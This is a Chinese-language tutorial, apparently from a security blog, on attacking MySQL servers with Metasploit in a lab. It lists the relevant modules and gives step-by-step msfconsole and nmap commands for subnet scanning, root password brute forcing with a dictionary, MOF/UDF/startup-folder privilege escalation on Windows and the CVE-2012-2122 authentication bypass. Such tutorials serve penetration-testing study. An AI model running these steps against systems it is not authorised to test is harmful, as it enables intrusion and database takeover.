Metasploit在安全界简称msf,而不是网上的一个也叫msf的Misfits战队。Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施***。它本身附带数百个已知软件漏洞的专业级漏洞***工具,分为免费版和收费版本,其官方地址为:https://www.metasploit.com/,在早期的BT***平台以及Kali、pentestbox中都配备有Metasploit。

1.1.1前言

1.相关资源

(1)metasploit的github项目:https://github.com/rapid7/metasploit-framework

(2)metasploit帮助文档:https://metasploit.help.rapid7.com/docs/getting-started

(3)Metasploit***测试魔鬼训练营:

https://pan.baidu.com/s/1mgib7b6#list/path=%2F

(4)metasploit漏洞模拟器:https://github.com/rapid7/metasploit-vulnerability-emulator

2.测试环境

(1)***平台:kalilinux2.x

(2)靶场平台:Windows2003SP2+phpstduy+ComsenzEXP_X25GBK+Mysql5.1.68

3.Metasploit下所有Mysql辅助、扫描以及漏洞利用模块

auxiliary/admin/mysql/mysql_enum  MySQL枚举模块

auxiliary/admin/mysql/mysql_sql       MySQL SQL查询

auxiliary/analyze/jtr_mysql_fast       John the Ripper 破解MySQL密码

auxiliary/scanner/mysql/mysql_authbypass_hashdumpMySQL密码认证绕过

auxiliary/scanner/mysql/mysql_file_enum   MYSQL 文件/目录枚举

auxiliary/scanner/mysql/mysql_hashdump   MYSQL 密码哈希值获取

auxiliary/scanner/mysql/mysql_login   MySQL登录验证暴力破解模块

auxiliary/scanner/mysql/mysql_schemadump   MYSQL Schema 导出

auxiliary/scanner/mysql/mysql_version    MySQL信息枚举

auxiliary/scanner/mysql/mysql_writable_dirs     MYSQL目录可写测试

auxiliary/server/capture/mysql捕获MySQL认证凭证

exploit/linux/mysql/mysql_yassl_getnameyaSSLCertDecoder::GetName溢出漏洞

exploit/linux/mysql/mysql_yassl_hello    MySQL yaSSL SSL Hello 消息溢出漏洞

exploit/windows/mysql/mysql_mofwindowsmof提权

exploit/windows/mysql/mysql_payloadwindows上传漏洞提权

exploit/windows/mysql/mysql_start_upwindows启动项提权

exploit/windows/mysql/mysql_yassl_hello   MySQL yaSSL SSL Hello 消息溢出exploit/windows/mysql/scrutinizer_upload_execPlixer Scrutinizer NetFlow和sFlow分析器9 MYSQL默认凭据上传执行

经过实际测试,黑色加粗模块使用效果较好。

1.1.2***思路

  利用Metasploi***的思路遵循网络***的思路:

1.信息收集,收集目标IP地址。

2.端口信息收集与扫描,对目标IP的地址或者IP段进行数据库端口扫描。

3.对开放Mysql数据库的IP地址或者IP地址段进行密码暴力破解。

4.对破解成功的Mysql数据库进行漏洞利用和提权。

1.1.3信息获取

1.msf快速搜索关键字

本次主要利用kali平台进行msf演示,在kali中快速搜索漏洞需要手动进行更新及进行相应的处理,否则搜索漏洞时间非常长,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

在kali 2.0中启动带数据库支持的MSF方式如下:

(1)首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;

(2)初始化MSF数据库:msfdbinit;

(3)运行msfconsole:msfconsole;

(4)建立db_rebuild_cache

db_rebuild_cache

(5)在msf中查看数据库连接状态:

db_status

(6)数据库重建完毕后使用searchkeystring速度就会特别快。

2.端口信息收集

(1)nmap扫描端口信息,获取扫描IP地址3306端口开放情况以及mac地址信息,如图1所示。执行命令:nmap -p 3306 192.168.157.130

图1扫描端口.jpg

图1扫描端口

(2)扫描mysql数据以及端口信息,获取数据库版本,如图2所示。

nmap --script=mysql-info 192.168.157.130

2.png

图2获取mysql数据库版本以及端口信息

(3)查看mysq版本信息

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

options或者info查看配置信息或者详细信息。

rhosts:目标IP(可以是单个IP,也可以是一个网段192.168.157.1-255 or 192.168.1.0/24,或者文件/root/ip_addresses.txt)

THREADS:线程数,默认为1,一般默认即可Msf发现存在mysql数据库的会以绿色+显示,如图3所示。

3.jpg

图3mysql版本扫描

1.1.4密码破解

1.msf密码破解mysql_login

利用模块为辅助模块auxiliary/admin/mysql/mysql_sql,其模块主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数,其中部分参数需要设置。

对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD或者PASS_FILE

(1)场景1:内网获取root某一个口令

use auxiliary/admin/mysql/mysql_sql

set RHOSTS 192.168.157.1-254

set password root

set username root

run

执行后对192.168.157.1-254进行mysql用户名为root,密码为root的扫描验证,执行效果如图4所示。

4.jpg

图4Msf扫描mysql单一密码

(2)场景2:使用密码字典进行扫描

use auxiliary/admin/mysql/mysql_sql

set RHOSTS 192.168.157.1-254

set pass_file/root/top10000pwd.txt

set username root

run

说明:如果通过扫描暴力破解成功,msf会将该用户名和密码保存在session中。

1.1.5尝试Mysql提权

Metasploit下对Mysql在Linux操作系统下的提权支持较少,针对Windows提权有三个。

1.mof提权

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1

set rport 3306

set password root

set username root

还需要设置本地反弹的计算机ip及端口

Mysql5.0.22测试mof提权未成功

mysql 5.5.53(phpstudy)测试mof提权未成功。

5.1.68-community MySQL Community Server测试mof提权成功,如图5所示。

5.jpg

5mof提权成功

(2)udf提权

useexploit/windows/mysql/mysql_payload

跟--secure-file-priv选项和mysql版本有关

(3)程序启动项提权

exploit/windows/mysql/mysql_start_up

对中文版本支持效果较差,需要设置startup_folder,默认是英文路径,经过更改为中文路径,测试未成功。

set startup_folder "/Documents and Settings/All Users/「开始」菜单/程序/启动/"

1.1.6其它溢出漏洞

Metasploit中还有一些mysql的溢出漏洞,但有具体场景要求,可以在实际***时进行实际测试,其参数设置比较简单,通过info或者options进行查看,使用set命令进行设置,后续漏洞利用就不赘述。

1.Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2.exploit/windows/mysql/mysql_yassl_hello

3.exploit/windows/mysql/scrutinizer_upload_exec

1.1.7技巧

   使用全局变量,内网***时比较好用,具体命令为:

setgrhost 192.168.1-254

setgusername root

setg password root

save

以上命令将设置rhost、username、password为全局变量,设置完毕后将保存在/root/.msf4/config文件中。使用unsetg命令解除全局变量设置:

unsetgrhost

unsetgusername

unsetg password

save

1.1.8思考与总结

  Metasploit下mysql提权主要环境针对英文版,对中文版本提权相对效果较差,需要更改其默认的文件夹选项等。在实际环境中可以下载pentestbox带Metasploit的版本来实施***。总的来说针对Mysql的***,Msf功能很强大,有的漏洞可以直接获取shell,可以在shell的基础上直接进行提权。